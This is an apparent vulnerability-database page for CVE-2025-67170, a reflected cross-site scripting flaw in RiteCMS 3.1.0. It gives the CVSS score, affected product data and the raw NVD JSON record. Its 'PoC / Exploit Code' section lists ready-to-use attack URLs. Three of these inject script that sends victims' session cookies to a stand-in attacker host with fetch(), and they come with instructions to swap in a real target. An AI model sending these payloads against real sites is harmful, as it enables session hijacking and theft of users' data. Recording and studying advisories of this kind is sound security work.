Security Vulnerability Report
中文
CVE-2025-67170 CVSS 6.1 MEDIUM

CVE-2025-67170

Published: 2025-12-17 19:16:13
Last Modified: 2025-12-18 19:18:29

Description

A reflected cross-site scripting (XSS) vulnerability in RiteCMS v3.1.0 allows attackers to execute arbitrary code in the context of a user's browser via a crafted payload.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:ritecms:ritecms:3.1.0:*:*:*:*:*:*:* - VULNERABLE
RiteCMS 3.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-67170 - RiteCMS 3.1.0 Reflected XSS --> <!-- Attack URL - Malicious link to be sent to victim --> <!-- Replace XSS_PAYLOAD with your JavaScript code --> <!-- Basic XSS PoC --> https://target-site/ritecms/index.php?q=<script>alert(document.cookie)</script> <!-- More sophisticated PoC with cookie stealing --> https://target-site/ritecms/index.php?q=<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- PoC with session hijacking --> https://target-site/ritecms/index.php?q=<script>fetch('https://attacker.com/log?data='+btoa(document.cookie))</script> <!-- PoC using SVG tag --> https://target-site/ritecms/index.php?q=<svg/onload=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Note: Replace 'target-site' with actual RiteCMS installation URL -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67170", "sourceIdentifier": "[email protected]", "published": "2025-12-17T19:16:13.147", "lastModified": "2025-12-18T19:18:29.230", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A reflected cross-site scripting (XSS) vulnerability in RiteCMS v3.1.0 allows attackers to execute arbitrary code in the context of a user's browser via a crafted payload."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ritecms:ritecms:3.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "F5E54D75-1861-4968-8494-335BF8C33E6F"}]}]}], "references": [{"url": "https://github.com/handylulu/RiteCMS/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67170", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67170", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}